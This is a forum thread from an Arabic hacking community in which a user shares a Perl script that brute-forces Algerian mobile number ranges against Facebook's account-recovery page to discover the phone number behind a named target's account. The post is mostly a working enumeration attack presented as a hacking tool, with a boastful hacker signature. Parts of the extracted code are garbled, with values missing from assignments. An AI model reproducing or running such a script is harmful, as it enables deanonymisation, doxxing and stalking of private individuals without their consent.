1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. isdo213 isdo213
    Developer

    عضو منذ:
    ‏16 مايو 2014
    عدد المشاركات:
    648
    الإعجابات المتلقاة:
    24
    نقاط الجائزة:
    75
    الجنس:
    ذكر
    الوظيفة:
    لغات اجنبية
    الإقامة:
    الجزائر
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    [​IMG]

    [​IMG]


    الى المطورين والكل المبرمجين معي سكريبت
    facebook phone number detecter

    حيث دوره يتمثل في ايجاد رقم الهاتف لاي حساب فيسبوك كان مع العلم ان السكريبت مبرمج بلغة البيرل اضافة الة ارقام الدولة الجزائرية لكن يكمن التعديل عليه ووضع لارقام اي دولة &:"&:"&:"&:"

    كل ماعليك هو ايجاد سطر الهاتف في الفيسبوك لكي يعمل البيرل

    =D


    سلام احبابي :ُeُe11:
    [​IMG]

    كود PHP:

        
    #!/usr/bin/perl -w
         
        #! by isdo213 speciale version for algeria numbers
        #! release for public 04/05/2014
        #! for more information  th3isdo@gmail.com
        #! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
         
        
    use strict;
        use 
    warnings;
         
        use 
    LWP::UserAgent;
         
        
    sub post_url {
        
    my$url$formref ) = @_;
         
        
    # set up a UserAgent object to handle our request
        
    my $ua = new LWP::UserAgent(timeout => 300);
         
        
    $ua->agent('perlproc/1.0');
         
        
    my $response $ua->post($url$formref );
         
        if( 
    $response->is_success ){
        return 
    $response->content;
        } else {
        return 
    undef;
        }
        }
         
        
    my $cant=;
        
    my $Backup_Count 0;
        
    sub back_and_print {
        
    my $text shift @_;  # no tabs, no newlines!
         
        
    print "\b" x $Backup_Count;
        print 
    " " x $Backup_Count;
        print 
    "\b" x $Backup_Count;
        
    $Backup_Count length $text;
        print 
    $text;
        }
         
        
    my $red="\e[1;31m";
        
    my $normal="\e[0m\n";
         
         
        print 
    "
        ------------------------------------------------------------
                                                                    |
        .%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%.      |
        .%%..%%.....%%...............    %%...  %%%.......%%..      |
        .%%..%%....%%........%%%%%%...%%%%..... %%......%%%..       |
        .%%..%%...%%................  %%........%%........%%.       |
        .%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%..       |
                                                                    |
        |[+] Dz fb num Detecter                                     |
        |[+] isdo213|codes                |   thisdo[at]gmail[com]  |
        |[+] GreetZ: to All Dz HackerZ - the least hacker - iq team |
        ------------------------------------------------------------
        \n\n" 
    ;
         
        print 
    "enter the name of Target : ";
        
    my $name=<STDIN> ;
        
    chomp($name) ;
         
        print 
    "enter the last 4 numbers : ";
        
    my $number=<STDIN> ;
        print 
    "
        choose the user operator
         
        [1] djezzy
        [2] Nedjma
        [3] mobilis
        [4] all (djezzy,nedjma,mobilis)
         
        "
    ;
        
    my $op=<STDIN> ;
        print 
    "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
        
    my $s=<> ;  
         
        if (
    $op =~ "1" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Djezzy numbers ..
        ===============================
        " 
    ;
        for( 
    my $i 77000$i<79999$i++ ){
        if (
    $i == "78000"){
        
    $i="79000" ;
        goto 
    aa ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/ ){
         
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
         
         
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
        else {
        if (
    $test =~ m/suspect/ ){
         
        
    $cant=$cant;
        print 
    "
         
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    aa ;
         
         
        }
         
         
         
         
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    aa:
        }
        }
         
        
    #===========================nedjma================================
         
        
    if ($op =~ "2" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Nedjma numbers ..  
        ===============================
        "
    ;
        for( 
    my $i 55000$i<55999$i++ ){
         
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    bb ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    bb:
        }
        }
        
    #======================================mobilis========================
         
        
    if ($op =~ "3" or $op =~ "4") {
        print 
    "
        ===============================
        scanning mobilis numbers ..  
        ===============================
        " 
    ;
        for( 
    my $i 66100$i<69999$i++ ){
        if (
    $i == "67000"){
        
    $i="69900" ;
        goto 
    cc ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    cc ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    cc:
        }
        }
         
         
        
    #=========================exite=============================
        
    a:
        print 
    "search finish  " ;

    [​IMG]

    [​IMG]

    [​IMG]
     
    جاري تحميل الصفحة...
  2. isdo213 isdo213
    Developer

    عضو منذ:
    ‏16 مايو 2014
    عدد المشاركات:
    648
    الإعجابات المتلقاة:
    24
    نقاط الجائزة:
    75
    الجنس:
    ذكر
    الوظيفة:
    لغات اجنبية
    الإقامة:
    الجزائر
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: سكريبت facebook phone number detecter

    [​IMG]
     
الوسوم:
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...